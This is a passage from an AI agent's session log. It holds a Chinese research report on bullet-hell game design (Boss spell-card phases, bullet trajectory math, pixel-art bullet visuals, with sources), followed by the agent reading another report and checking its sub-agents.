**像素风格设计建议**:滞留弹必须与\"会动的危险弹\"在视觉上区分——建议**低频闪烁 + 半透明 + 固定描边**;或用\"发光的柱子/结界\"图形(如结界/棱镜形状)表示区域阻碍物。静止弹用冷色系(蓝/紫),活动弹用暖色系,形成语义分离。\n\n### 2.9 组合弹幕(Compound Patterns)\n\n- **视觉描述**:把多个模式叠加。例如\"螺旋铺满屏 + 瞄准弹逼玩家移动\",或\"展开环 + 中途分裂 + 激光堵路\"。(note.com 2-15 Composite)\n- **设计原则**(note.com 3-2 / 2-15):\n - 组合时**指定一个主模式**,其余为伴奏,避免信息过载。\n - 元素越多,越要依赖颜色编码、预警、缝隙设计来保证可读性。\n - 组合要形成\"分工\":背景压迫 + 前景逼迫(如中间难度组合:旋转全向弹 + 上方落雨 + 周期性瞄准弹)。\n- **经典游戏例子**:东方高阶符卡几乎都是组合(常识,如多层螺旋+分裂环+预警激光即 note.com 高级 Boss 推荐组合);阿空(地灵殿)的符卡是微/宏闪避结合的著名组合(Sparen Guide A3)。\n- **像素风格设计建议**:组合弹幕在像素风下最容易\"糊成一团\"。建议:每个模式用**不同主色**;不同模式用**不同子弹形状**(圆=压迫、针=直线、星=装饰/特殊);层与层之间拉开速度差,让玩家能分层读取。\n\n### 2.10 调研补充的常用模式\n\n以下模式来自 note.com 的《15 种经典弹幕模式》与 Sparen 指南,按需并入本项目词库:\n\n| 模式 | 视觉/玩法特征 | 要点 | 像素建议 |\n|---|---|---|---|\n| **波型/幕帘(Wave/Curtain)** | 正弦波排列的子弹带,像波浪/极光/瀑布,容易与 BGM 节奏联动 | 重点是\"缝隙的流动感\"而非子弹本身;`y = a·sin(ωt + φ)` 排布 | 用细长米弹/针弹沿正弦排布,同色系渐变 |\n| **网格(Grid)** | 横竖规则排列,钻石/晶体状,几何美且缝隙可读;纯网格易单调,加大小的速度差/局部缺口 | 强规律、易读、密度↑难度↑ | 用规则小圆弹 + 网格闪烁/错位动画 |\n| **花状(Floral)** | 对称花瓣排列(5/6/8 瓣),华丽,适合符卡演出 | 对称越高越精致;过度均匀会单调,周期性转相位 | 花瓣用两类颜色交替(瓣=亮、蕊=暗)强化图案 |\n| **星形/多边形(Star)** | 强调特定顶点(5/6/8 向)的星形放射 | 少弹星形也醒目,适合元素/性格表达 | 用星形贴图子弹 + 旋转动画 |\n| **交叉(Intersection)** | 多股弹流交叉如编织/光流;视觉美但缝隙易被切断 | 关注\"玩家可走的路径\"而非交点;调速度/密度/交叉角 | 两条交叉流用互补色(如青 vs 品红)|\n| **落雨(Rain)** | 自上而下倾泻,天然适合道中演出 | 全随机易不公平,保持一定规律美观 | 竖直方向子弹用垂直长条贴图或水滴形 |\n| **粒子(Particles)** | 火花/星尘式散落,适合爆炸、花瓣、魔法粒子、Boss 登场 | 给角度/速度/密度一个\"范围+偏置\" | 小尺寸 + 闪烁,可叠加在其他弹幕上做纹理 |\n| **激光(Laser)** | 线/带状攻击,视觉冲击强,可明确封路 | 发射前先给**细预警线(telegraph)**最公平;有固定/旋转/弯曲/网格激光 | 预警线细→粗的 2 帧过渡动画;激光主体用高亮+描边 |\n| **分裂弹(Split)** | 飞行中途/定时/到距离后爆成子弹(如 1→3),常伴随\"先停顿\"预警 | 分裂条件:时间/距离/位置;分裂后子弹可重新锁定玩家(note.com 2-13) | 母弹大而亮(告知\"会爆\"),子弹小一号;停顿帧加\"蓄力闪光\" |\n\n---\n\n## 3. Boss 战弹幕设计\n\n### 3.1 阶段转换与东方Project符卡系统(Spell Card)\n\n**东方Project 的符卡系统**(来源:Wikipedia《符卡》、百度百科、PIXNET 东方介绍):\n\n- **来源与规则**:符卡(Spell Card,スペルカード)由《东方红魔乡》首次引入(ZUN 自述为\"比其它系统更早面世\"而开发本作)。符卡规则 = \"给绝技命名并宣言\"的决斗规则:宣言、约定符卡张数、击破对方全部符卡即胜。\n- **敌方符卡流程**:\n 1. **非符(nonspell)**:Boss 的普通攻击,一般耐久条分格为单位;\n 2. **符卡宣言**:血量削到阈值时 Boss \"念符\"(宣言),画面切换为该角色专属 Spell Card 背景,进入符卡攻击;\n 3. **符卡红利(Spell Card Bonus, SCB)**:无 Miss 无 Bomb 击破符卡可获得额外分数,随时间递减;擦弹可增加红利;\n 4. **时间限制**:每张符卡有残余时间显示,超时 Boss 自动进入下一波(此时无法收取符卡)。\n- **符卡变体**:\n - **增强型符卡**:随血量削减,弹幕密度/速度逐渐增加,越到后面越难(强化难度的天然手段);\n - **时效型/时限型符卡**:耐久无法直接削减,玩家必须\"死守到时间结束\"才能收取(生存符卡 survival card;如《永夜抄》部分符卡);\n - **Last Spell / Last Word / Overdrive**:残机为零或特定条件下的最终符卡(Extra/隐藏挑战用)。\n- **难度变化**:同一符卡在 Easy/Normal 与 Hard/Lunatic 下常有**不同名字**(Higher 难度名字更华丽),弹幕排列与颜色也会变化(Wikipedia)。\n- **《魔理沙的魔法书》对符卡的分类**(Wikipedia):演剧型(重视觉效果、大量非瞄准装饰弹)、奴隶型(用使魔/人偶/式神攻击)、小虫型(细碎多彩、弱妖怪)、压迫型(限制自机移动范围)、兴奋剂型(强化自身)。\n\n**对本项目的启示**:阶段(Phase)不必按血量硬切,可以模仿\"非符→符卡宣言→符卡\"的节奏:普通阶段保持低密度教学,宣言瞬间清场 + 特效 + 显示符卡名,制造\"仪式感\";生存符卡(时限型)能复用已有图案、只改目标(熬过 X 秒),开发成本低、演出效果好。\n\n### 3.2 弹幕密度控制\n\n- **密度不是越多越好**:'curtain fire'不等于无限堆弹;密度阈值之后,可读性(readability)崩坏,玩家感到\"不公平\"而非\"华丽\"(note.com 3-2:设计缝隙而非密度)。\n- **难度曲线**:\n - 报告参考\"轻/重阶段交替\"(Danmaku Unlimited 3 采用东方式 light/heavy 交替:轻阶段让玩家喘息与移动,重阶段密集压迫,来源 Forgotten Worlds 采访);\n - 每个 Boss 阶段内\"缓慢升级\":起点是玩家已见过的简单变体,随后逐次加大子弹量/缩小缝隙/提高速度(SHMUP Workshop 03:slow escalation)。\n - 不同难度等级通过\"同一图案改密度/速度/名字\"来分层(东方难度差异,Wikipedia)。\n- **可控变量**(可做成运行时调参工具):子弹数、速度、发射间隔、扇形张角、环形偏转、随机种子、加层数。\n- **Cave 的 rank 系统**:根据玩家当前表现(残机/雷/击破率)动态调整弹幕强度——可选的高级机制(来源:TimeExtension;Boghog 亦建议用\"credit feed 降 rank\"来练习 Boss)。\n\n### 3.3 安全路径设计(Safe Zones / 缝隙 / 路线)\n\n弹幕的本质是\"缝隙谜题\",安全路径是设计对象而非巧合:\n\n- **微闪避(micrododging)**:在密集子弹的缝隙间小幅移动穿行(Sparen A3 / maribelhearn / Boghog);\n- **宏闪避(macrododging)**:对整个弹幕编队进行大幅度绕行、找到整块安全区(safe spot / safespot——\"内部完全不会被击中(或近于)的点/区域\",maribelhearn 术语);东方中 BOWAP、咲夜道中非符等是经典 safespot(maribelhearn Beginner Guide / jargon);\n- **引弹(streaming / misdirection)**:瞄准弹只有在玩家\"把弹流引到别处\"时才安全——设计上,持续的瞄准弹迫使玩家移动并制造\"下一波更难\"的位置压力(SHMUP Workshop 03:被满屏引导到尴尬位置会削弱后续应对;maribelhearn:misdirection 常在数秒空隙内完成);\n- **路线(routing)**:玩家在静态/半静态弹幕中规划的具体移动路径,是\"设计缝隙\"的最终产物;\n- **设计检查表**(综合 note.com 3-2 与 SHMUP Workshop 03):\n 1. 画图时刻意留下**可见的缝隙**(gap width > 判定点 + 子弹判定 + 误差余量);\n 2. 区分\"安全点型\"(原地不动即可)与\"移动型\"(需要持续引弹)两类安全路径,交替使用;\n 3. 用瞄准弹/区域封锁弹**主动关闭**上一轮的安全点,防止玩家蹲坑(area denial,SHMUP Workshop 03;以及\"anti-camping:避免玩家龟缩\"的 Boss 设计目标);\n 4. 每次重复图案时用随机种子旋转相位,避免出现固定盲区(Sparen A2)。\n\n### 3.4 时间限制与弹幕压力\n\n- **时限符卡**:上面已述(生存符卡)。在设计上,时限 = \"不需要 DPS 检验,纯粹考验躲避\",适合放在 Boss 战中段作为节奏变化点(东方文花帖/弹幕天邪鬼等衍生作品以\"时限+道具\"为核心玩法)。\n- **压力节奏(tension-release loop)**:\n - 每个波次设计\"入口压力→主压力→释放\"三段式:先预警(低压力、可读),再高压(核心躲避),最后 1–2 秒\"突然变简单\"给玩家胜利快感(Boss Up YouTube:survive 之后的那 1 秒喘息极具成瘾性);\n - 压力来源可以分层:视觉压力(满屏)、逻辑压力(瞄准)、时间压力(超时/残机消耗)。\n- **Boss 战的五个设计要素**(来源:Game Developer《Video Game Boss Design for Shmups》):\n 1. **难度 Difficulty**:首关 Boss 必须让\"认真玩的人\"能过;Boss 攻击应与关卡已有敌人/道具主题连贯(\"进化\"而非\"空降\");\n 2. **多样性 Variety**:Boss 血量条分段显示图案边界;同一段血内可循环多个攻击,且每次攻击要求不同的躲避/输出策略;\n 3. **时长 Length**:Boss 战时长与关卡时长成比例;中 Boss 不应比关底 Boss 长;把\"信息不对等的假 Boss → 真 Boss\"当一次性惊喜;\n 4. **回报 Pay-off**:Boss 战末尾(濒死前)往往\"倾泻所有弹幕\"制造最终高潮(Mushihimesama、ESPGaluda2、Ikaruga 第 3 章 Boss 都是例子);好回报 = 节奏铺垫 + 假危机;\n 5. **角色 Character**:爆炸方式、受击反馈、蓄力/宣言动画、音效都要符合角色性格——这是\"为什么这个 Boss 挡在这里\"的叙事答案。\n\n### 3.5 东方式 Boss 战结构参考(综合)\n\n1. 开战:非符 1(轻、教学、环/扇)\n2. 符卡宣言(换背景、念符名)→ 符卡 1(主题图案,时间限制,收取奖励)\n3. 非符 2(中压,引入瞄准/引弹)\n4. 符卡 2(组合图案,增强型:随血量变密)→ ……\n5. 濒死:Last Spell / 最终符卡(最强+最华丽)→ 消弹演出(击破瞬间子弹变道具)\n6. (挑战层)隐藏:Extra 时限符卡 / 弹幕天邪鬼式\"看似不可能\"组合\n\n---\n\n## 4. 数学原理与实现\n\n### 4.1 基础参数体系\n\n任何一个弹幕模式都可由以下参数组合生成(来源:note.com 第 4 章;o3de-diorama 参数表):\n\n| 参数 | 作用 | 备注 |\n|---|---|---|\n| 发射位置 | 敌中心/屏幕边缘/多炮塔 | 决定子弹出生点阵型 |\n| **发射角度** | 固定 / 旋转 / 瞄准 / 随机 | 最易出效果 |\n| 子弹数量 | 密度 | 环形=一圈数量、扇形=扇内数量 |\n| 发射间隔 | 节奏 | 决定\"流\"还是\"波\" |\n| 子弹速度 | 难度与观感 | 快=危险、慢=可读 |\n| 加速度 | 节奏与曲线 | 减速弹、加速弹 |\n| 角速度 | 螺旋、转向弹 | 曲线弹的核心 |\n| 寿命 | 消失时机 | 滞留弹=长寿命 |\n| 分裂条件 | 时间/距离/位置 | 分裂弹 |\n| 颜色/大小 | 可读性与美观 | 颜色=属性编码 |\n\n### 4.2 角度与排列公式(常用)\n\n- **环形**:`angle_i = base + i·360/n`,`v = speed·(cos, sin)`(2.1 节)\n- **扇形**:`angle_i = aim - spread/2 + i·spread/(n-1)`(2.3 节)\n- **瞄准**:`angle = atan2(py - ey, px - ex) + 偏移`(瞄准扇 = 在其两侧均匀分布)\n- **网格**:对 `(i,j)` 行列给固定 x/y 间距\n- **正弦波**:`x 或 y += A·sin(ω·t + φ)`(2.10 波型)\n- **花瓣/星形**:`angle_i = base + i·(360/petal) + 相位`,再由花瓣内多颗子弹构成瓣形\n- **规律+微扰**:`angle = base + i·even + sin(t)·fluct`,`speed = base + random(-δ,δ)`(note.com 3-1)\n- **周期循环**:如\"每 60 帧一波大浪、每 15 帧小弹、每 4 发反转角度\"制造音乐性节奏(note.com 3-4)\n\n### 4.3 速度变化(加速/减速弹幕)\n\nDanmokou(DMK 引擎)归纳的常见运动(来源:Danmokou Tutorial 6):\n\n1. 恒定速度直线(默认)\n2. **直线加速**(`v(t) = v0 + a·t`,可正可负:赶人弹/诱导弹)\n3. 速度在慢/快之间周期切换\n4. 两位置间往返\n5. 极坐标运动(径向+角速度)\n6. 波浪线(squiggly)\n7. 旋转运动方向(追踪/转向)\n8. 相对另一运动物体运动(随从弹/母舰子机)\n9. 任意参数方程轨迹\n\n工程提示:DMK 把运动建模为**函数**(`rvelocity(px(3 + sine(4, 0.6, t)))`),而不是\"速度/加速度两个标量\",从而任意轨迹即插即用;其子弹更新循环一次函数调用即可支撑 10 万以上子弹 @4K 120FPS(DMK 官方数据)。\n\n### 4.4 曲线弹幕(转向 / 极坐标 / 贝塞尔)\n\n- **限速转向(追踪弹)**:每帧把朝向转向上限内的目标方向(2.6 节公式);\"转向弱一点更好躲也更好看\"(note.com 2-13)。\n- **极坐标螺旋**:`r(t)=a·t, θ(t)=b·t` → 直角坐标 `x = cx + r·cosθ, y = cy + r·sinθ`(DMK 示例 `polar(2*t, 80*t)`)。注意极坐标绕圈时转速均匀性需要弧长参数化,DMK 作者自述\"没有闭式解,需迭代求解\"。\n- **贝塞尔曲线(弯曲弹)**:二次贝塞尔 `B(t) = (1-t)²·P0 + 2(1-t)·t·P1 + t²·P2`,每帧采样 t∈[0,1] 作为下一位置(通用图形学做法,非本次调研单一来源;用于\"弧形弹道/水漂弹\")。三次贝塞尔 `C(t)` 用于更复杂的 S 形弹道。\n- **正弦扰动**:在固定方向上叠加正弦横向偏移,成为\"S 形\"弹(Unity 论坛实现示例)。\n- **角度退化/曲线激光**:东方中存在\"准激光\"(弧形激光、曲线灵弹),判定比直线激光大(thwiki 弹型介绍)——曲线弹道要么给足预警,要么减小判定。\n\n### 4.5 性能实现建议\n\n- **对象池(object pool)**:固定容量池 + 硬上限,防止无限生成(o3de-diorama 的 `Max Bullets` 硬上限设计)。\n- **批量渲染**:同一纹理的整组子弹一次 draw call(sprite batch / 合批)。\n- **碰撞**:每颗活子弹对目标碰撞层做一次重叠查询,目标层只放玩家/护盾几个碰撞体,几百颗子弹也便宜(o3de-diorama)。\n- **功能分层**:发射器(emitter)只管几何与碰撞,伤害/计分留在游戏侧(o3de-diorama 的分工建议)。\n\n---\n\n## 5. 像素风格下的弹幕视觉设计\n\n### 5.1 子弹形状库\n\n**核心原则**:'shmup 最核心的是弹幕的可读性(visibility)——在任何背景下都能被读出'(slynyrd Pixelblog 31)。形状即语义:**形状要匹配行为**(Sparen Guide A2 / Pixelblog 32:箭形弹配直线飞行才合理;追踪弹要旋转指向的运动方向)。\n\n**东方参考形状清单**(来源:thwiki《东方全弹型介绍与中弹判定分析》、maribelhearn 子弹类型表、Steam Touhou Bullets Model Pack):\n\n| 类别 | 形状 | 用途/特点 | 像素建议 |\n|---|---|---|---|\n| 圆形系 | 小玉(带圈/不带圈)、中玉、大玉(空心) | 通用基础弹;大玉实际判定仅中心空洞 | 6–10px 圆 + 描边;大玉用\"中空环\"贴图配透明中心 |\n| 粒状 | 点弹、米弹 | 点弹最小(<判定点),米弹为最高发弹量弹型之一 | 3–4px 点、8×4 米粒;米弹风速后有变短/判定变大差异 |\n| 尖形 | 针弹/箭弹/晶弹 | 速度感、方向感最强 | 长 8–14px 的三角/箭头,尖端高亮 |\n| 刀剑形 | 刀弹、剑弹、苦无 | 角色辨识度高(如咲夜/蕾米) | 剑身+尖端高光;前端无判定所以略细 |\n| 星光形 | 星弹(大/小)、光弹 | 华丽、魔法感;光弹判定偏大 | 4 角/5 角星 + 旋转动画 |\n| 特殊形 | 蝶弹、心弹、音符弹、钱弹、鳞弹(带\"翼\") | 角色主题、装饰 | 2 帧扇翅/跳动动画;鳞弹判定仅中心点 |\n| 火焰/流体 | 炎弹、水滴/滴弹 | 不规则 | 2–3 帧沸腾动画,\"躲前端\"语义 |\n| 激光 | 线段激光/射线激光、弧形激光 | 封路、视觉冲击 | 预警线(细)→ 实体(粗)2 帧过渡;线身描边 |\n\n**东方判定参考**(thwiki):多数弹\"判定 < 视觉\":大玉只有中心空洞有效、鳞弹只有中心点、剑弹前端无判定、激光靠预警线判定;当\"准激光/粥弹/核弹\"等判定欺诈弹出现时,需要玩家另行学习——像素风下**不要滥用判定欺诈**,默认\"所见即所判\"更公平。\n\n### 5.2 颜色编码\n\n- **基础原则**:子弹是屏幕上最鲜艳的元素;用高饱和色与背景拉开对比;颜色可传达属性/机制语义(slynyrd;note.com 3-3)。\n- **按属性/危险度编码**示例:\n - 红/橙 = 高速、致命、普通攻击;\n - 蓝/青 = 特殊判定、特殊移动(如反弹/曲线/激光);\n - 紫/白 = 装饰弹、非致命、演出用;\n - 绿 = 通常用于玩家/友方,避免敌方子弹大量用绿(语义混淆)。\n - (以上为常见实践惯例,属综合常识,非单一文献结论。)\n- **注意**:颜色要与背景/特效区分(note.com 3-3);考虑红绿色盲——**不要只靠红/绿区分要害**,同时用形状/大小/闪烁区分。\n- **同波同色**:同一次发射的子弹用同一色系,方便玩家把\"一波子弹\"当整体读(note.com 3-3:子弹类型或危险度不同则换色)。\n\n### 5.3 子弹大小与可躲避性\n\n- **判定点 vs 视觉**:自机 hitbox 远小于机绘(Cave 1px hitbox、DoDonPachi 子弹判定约直径 20%,来源 TimeExtension/Shmups Wiki);聚焦模式时在判定点处显示小红点让玩家能\"穿缝\"。\n- **子弹尺寸**:越大越可见但占屏;太小(<判定点)会\"消失\"且威胁感弱。建议子弹视觉 6–16px 常见、点弹 3–4px、激光不限长(slynyrd:子弹应大小多样,通常越大伤害越高)。\n- **缝隙设计**:安全缝隙宽度 = 玩家判定 + 子弹判定 + 玩家操作误差(微闪避用低速聚焦移动保证精度);设计时给缝隙留 ≥2–3px 冗余(工程经验法则)。\n- **密度 vs 大小**:子弹越小越能密(给留出视觉通道);同屏密度高时,小弹+弱判定(空心大玉)是\"看起来吓人、实际可穿\"的经典手法(thwiki 大玉示例)。\n\n### 5.4 发光/粒子效果在像素风格中的处理\n\n- **描边(outline)**:几乎必备,最好**双层描边**(亮色外圈+暗色内圈)以保证任何背景下可读;pixel 风格常用白描边与其它精灵(深描边)区分(slynyrd)。\n- **闪烁/双帧动画**:两帧交替即可做出\"呼吸/危险脉冲\";对比度越大越激烈,但太强会难以追踪快速弹(slynyrd)。\n- **发光**:像素风发光 = 亮色核心 + 1 层半透明同色光晕(加色混合 additive)或\"外扩 1px 亮描边\";避免真实 bloom 破坏像素感。\n- **粒子**:爆炸/火花/花瓣用\"范围+偏置\"的受控随机(note.com 2-12);粒子可叠加在弹幕上做纹理而不是独立威胁。\n- **脉冲缩放**:呼吸/脉动(expanding-contracting)可让呆滞的圆弹\"活起来\"(slynyrd 的 rotation/motion 建议)。\n- **消弹特效**:Boss 符卡击破瞬间,全屏子弹转为道具/星点,是东方色的标志性演出(Touhou Wiki Items:子弹在 Boss 攻击结束/未超时被打掉时转为星道具;消弹 cancel 亦为计分要素,maribelhearn 术语)。\n\n### 5.5 弹幕层级的视觉优先级\n\n绘制顺序(从底层到顶层,工程惯例 + Reddit shmupdev 设计 101 摘要:\"敌方子弹永远画在其它对象之上\"):\n\n1. 背景/场景层\n2. 地面敌人/可破坏物\n3. 道具、点数\n4. 玩家射击、爆炸特效(半透明)\n5. **敌方子弹(最高优先级之一,必须覆盖玩家机绘)**\n6. 玩家机绘 + 判定点指示(聚焦时)\n7. UI(血量/符卡名/时间)\n\n理由:玩家需要\"先读弹,再读自己\";若子弹被机绘/特效遮挡,就会产生\"判定杀(clipdeath)\"的挫败感(maribelhearn 术语)。\n\n### 5.6 像素风格弹幕设计清单(落地用)\n\n- [ ] 每种模式指定**1 个主色 + 1 种子弹形状**(勿两种都在变);\n- [ ] 危险弹用暖色+闪光,装饰弹用冷色/暗色调;\n- [ ] 所有敌方子弹带描边(建议双层),且在玩家机绘之上绘制;\n- [ ] 直线/追踪/曲线弹使用**方向性贴图**(箭头/针/刀)并随角度旋转;\n- [ ] 预警:激光先细线→粗线;分裂弹先停顿+蓄力闪光;大威力攻击让 Boss 本体发光(note.com 3-5);\n- [ ] 判定 < 视觉:默认简化判定(圆/椭圆),为\"大玉/鳞弹\"这类特殊判定做贴图注释(空心=可穿);\n- [ ] 像素分辨率建议在 320×180~640×360 区间定基准(slynyrd 建议 480×270),保证单个子弹仍有足够像素表达细节;\n- [ ] 每张符卡/阶段限定子弹色彩数(建议 2–3 色),避免像素噪点化。\n\n---\n\n## 6. 对本项目(像素风弹幕游戏)的落地建议汇总\n\n1. **词库起步**:环形 / 螺旋 / 扇形 / 直线(流+墙)/ 瞄准扇 / 受控随机 / 分裂弹 / 激光(带预警)/ 滞留结界,共 9 个基础模式,先用\"参数化发射器\"(Count/Aim/Spread/Spin/Speed/FireRate/Lifetime)实现(参照 o3de-diorama 的参数表),Boss 脚本只做\"模式序列 + 转场\",成本最低。\n2. **难度曲线**:按\"非符(轻)→ 符卡(重)→ 非符 → 符卡 …\"排布;每张符卡 = 1 主题图案 + 增强型变密 + 时限生存变体(一套图案三种玩法)。\n3. **公平性**:所有危险性一定要有预警(telegraph);缝隙 > 判定 + 冗余;颜色+形状双通道编码。\n4. **像素视觉**:双层描边 + 双帧闪烁 + 加色发光小光晕 + 同波同色 2–3 色限制 + 子弹层级最高。\n5. **性能**:对象池 + 合批 + 简化碰撞层(目标只放玩家/护盾),确保几百到几千颗子弹稳定 60FPS。\n\n---\n\n## 7. 信息来源与置信度说明\n\n按信息诚实原则,对所有关键结论标注来源与置信度:\n\n**(A)本轮调研直接引用的网页来源(置信度高,可复核):**\n\n1. npaka,《A Summary of 15 Beautiful Bullet Hell Patterns in Danmaku Shooters》(note.com)——15 种模式分类、组合配方、参数与设计 tips:https://note.com/npaka/n/n5d38b7d84173?hl=en\n2. Sparen's Danmaku Design Studio,Guide A2(角度类型、方向性子弹、心理过滤、danmaku vs 普通 STG)、Guide A3(墙的定义、微/宏闪避、Utsuho 例子):https://sparen.github.io/ph3tutorials/ddsga2.html 、ddsga3.html\n3. Danmokou(DMK 引擎)Tutorial 6(函数式运动系统、极坐标螺旋公式、性能数据、贝塞尔/参数方程讨论):https://dmk.bagoum.com/docs/articles/t06.html\n4. Wikipedia《符卡》(符卡规则、宣言、红利、时效/增强型、Last Spell/Last Word/Overdrive、难度差异、魔理沙魔法书分类):https://zh.wikipedia.org/zh-hans/符卡\n5. thwiki/东方吧Wiki《东方全弹型介绍与中弹判定分析》(小玉/米弹/点弹/大玉/光弹/针弹/鳞弹/剑弹/炎弹/激光/核弹/粥弹及判定细则):https://touhou8.thwiki.cc/index.php?edition-view-1281-1.html=\n6. maribelhearn 《Touhou Community Jargon》(子弹类型表、micro/macro dodge、safespot、streaming、misdirection、routing、cancel、clipdeath 等术语):https://maribelhearn.com/faq/jargon(含中文版)\n7. maribelhearn Beginner Guide(微/宏闪避、流弹引弹、safespot 举例 BOWAP 等):https://wiki.maribelhearn.com/wiki/Beginner_Guide\n8. slynyrd Pixelblog 31《Shmup Design Part 1》(像素子弹设计:颜色/大小/形状/描边/闪烁/旋转、分辨率建议);Pixelblog 32(外观与行为匹配):https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design\n9. Game Developer《Video Game Boss Design For Shmups》(Boss 五要素:难度/多样性/时长/回报/角色;健康条分段;Cave 例子):https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups\n10. SHMUP Workshop 03《Bullet Pattern Design》(模式角色:警告/位移/区域封锁/最终引导;slow escalation;微宏闪避;CAVE tracking 做法;Boss 设计目标):YouTube ArZRZSYICLo\n11. TimeExtension《CAVE Story: The History of DonPachi》(命中率 20% 判定、自爆弹、rank 系统、1px hitbox);Shmups Wiki《CAVE》词条(1px 判定、游戏清单):https://www.timeextension.com/features/cave-story-the-history-of-donpachi-the-shmup-series-that-changed-everything\n12. Forgotten Worlds《A guide to Danmaku Unlimited 3》(脚本化弹幕、Touhou 式轻/重阶段交替):https://www.forgottenworlds.net/bullet-hell-danmaku\n13. Zen of the SHMUP(DonPachi 系列=图案+记忆、Mushihimesama=快速集中火、Cave 组合):https://richardschupp.wordpress.com/tag/the-zen-of-the-shmup\n14. o3de-diorama《24-bullet-patterns.md》(Ring/Fan/Spiral 参数表、对象池、合批、碰撞层设计):https://github.com/nickschuetz/o3de-diorama/blob/main/Docs/howto/24-bullet-patterns.md\n15. Boghog's bullet hell shmup 101(bullet sealing、micro/macro dodge 补充):https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101\n16. Reddit r/shmupdev《BULLET HELL SHMUP DESIGN 101》(\"敌方子弹永远绘制在其他对象之上\"等原则,仅经搜索摘要获取,置信度中):https://www.reddit.com/r/shmupdev/comments/13w730k/\n17. 其它:Summer Engine(判定点/聚焦/擦弹术语)、Touhou Wiki Items(消弹转星道具)、Steam Touhou Bullets Model Pack(子弹形状清单)、Ted Lim《Day 49》(sin/cos 扇面公式)等。\n\n**(B)置信度说明:**\n\n- 上述 (A) 列来源中的具体论断:**我很确定**它们出自对应来源(可直接复核)。\n- \"经典游戏例子\"中标注为\"常识\"的条目(例如\"东方各作螺旋遍地\"\"芙兰朵露星弧破碎\"等),来自模型通用知识,**没有在本轮调研中逐条核实**,读者如需引用请自行在对应游戏攻略中确认。\n- \"像素建议\"\"设计检查表\"\"落地建议\"等小节为**基于上述来源的综合工程建议**(合理推断,非文献原文),置信度中上,请结合游戏实测调整。\n- 反弹弹(2.7)在东方系纵版弹幕中近乎缺席是**常识判断**;调研资料中未找到专门文献,如要使用建议先做原型验证。\n\n---\n\n## 附录 A:参考链接汇总\n\n- https://note.com/npaka/n/n5d38b7d84173?hl=en (15 种弹幕模式)\n- https://sparen.github.io/ph3tutorials/ddsga2.html / ddsga3.html (弹幕设计工作室指南)\n- https://dmk.bagoum.com/docs/articles/t06.html (Danmokou 运动函数哲学)\n- https://zh.wikipedia.org/zh-hans/符卡 (符卡系统)\n- https://touhou8.thwiki.cc/index.php?edition-view-1281-1.html= (东方全弹型介绍与判定分析)\n- https://maribelhearn.com/faq/jargon (东方社区术语与子弹类型)\n- https://wiki.maribelhearn.com/wiki/Beginner_Guide (躲避策略入门:微/宏闪避、引弹、安全点)\n- https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design (像素弹幕设计)\n- https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups (STG Boss 设计)\n- https://shmups.wiki/library/CAVE (CAVE 公司与其游戏)\n- https://www.timeextension.com/features/cave-story-the-history-of-donpachi-the-shmup-series-that-changed-everything (DonPachi 历史)\n- https://richardschupp.wordpress.com/tag/the-zen-of-the-shmup (Cave 弹幕风格对比)\n- https://www.forgottenworlds.net/bullet-hell-danmaku (Danmaku Unlimited 3 访谈)\n- https://github.com/nickschuetz/o3de-diorama/blob/main/Docs/howto/24-bullet-patterns.md (发射器实现与参数)\n- https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101 (bullet hell 设计 101)\n- https://www.youtube.com/watch?v=ArZRZSYICLo (SHMUP Workshop 03 弹幕模式设计)\n- https://www.youtube.com/watch?v=zEPgFaIpa6o (Boss 设计 Week 25:螺旋/双螺旋实现)\n- https://www.youtube.com/watch?v=To5rOl6pn08 (Boss 战设计:攻击前摇、防龟缩)\n- https://tedlim-65557.medium.com/day-49-bullet-hell-pattern-2d-space-shooter-series-c91e4eccad7c (sin/cos 扇面数学)\n- https://www.summerengine.com/ai-bullet-hell-maker (判定点/聚焦/擦弹/密度调参)\n\n*报告完*", "current_truncated": false, "updated_at": "2026-08-23T12:33:39.012859"}], "_history_file": "[系统通知_sub_agent] ✅ 子智能体3 任务摘要:调研像素风格弹幕游戏_2026-08-23_123229_530.diff"}}}, {"role": "assistant", "reasoning_content": "太好了!子智能体3(像素美术风格调研)已经完成了。现在需要等待子智能体1和2完成。让我先查看已完成的报告内容,同时等待其他两个子智能体。", "content": "太好了!**子智能体3(像素美术风格)** 已完成!让我先看看这份报告,同时继续等待另外两份。", "timestamp": "2026-08-23T12:32:37.861846", "message_id": "msg_83b17cbc86bb4f73886a8bdffb1b5e3c", "metadata": {"model_key": "kimi-k2.6"}, "tool_calls": [{"id": "read_file_5", "index": 0, "type": "function", "function": {"name": "read_file", "arguments": "{\"intent\": \"读取像素美术调研报告\", \"path\": \"research/pixel_art_style/pixel_art_research.md\", \"type\": \"read\"}"}}, {"id": "get_sub_agent_status_6", "index": 1, "type": "function", "function": {"name": "get_sub_agent_status", "arguments": "{\"intent\": \"检查剩余子智能体状态\", \"agent_ids\": [1,2]}"}}]}, {"role": "tool", "content": "读取 research/pixel_art_style/pixel_art_research.md 行 1~259 (max_chars=50000)\n```\n# 像素风格弹幕射击游戏(Bullet Hell / STG)美术设计调研报告\n\n> 调研时间:2026-08-23\n> 调研范围:玩家自机设计、敌方单位设计、子弹/弹幕像素美术、特效与 UI、免费素材与参考资源\n> 主要信息来源:SLYNYRD(Pixelblog 31/32)、Shmups Wiki「Boghog's bullet hell shmup 101」、Touhou Wiki、Sparen's Danmaku Design Studio、itch.io / OpenGameArt 素材库、(注:详见文末「信息来源与可信度」说明)\n\n---\n\n## 0. 摘要与总体结论\n\n- **弹幕游戏(Danmaku)的美术核心不是\"好看\",而是\"可读性(Readability)\"**:在屏幕同时存在数百颗子弹、多个敌人、粒子特效与道具时,玩家必须能在一瞬间分辨\"哪些是威胁、往哪里躲\"。所有美术决策都应服务于这一目标。\n- **色彩价值(Value)分层是清晰度的关键**:背景用低对比中间调,子弹用小面积高亮+暗色描边(亮暗相邻),玩家子弹、敌方子弹、道具、爆炸用不同明度层级区分。\n- **尺寸基准很重要**:16:9 屏幕下 SLYNYRD 建议 320×180 ~ 640×360 逻辑分辨率;自机相对屏幕的比例决定难度与手感。弹幕游戏常用低分辨率(如 480×270)让像素感更强烈、单位像素信息更少、制作更快。\n- 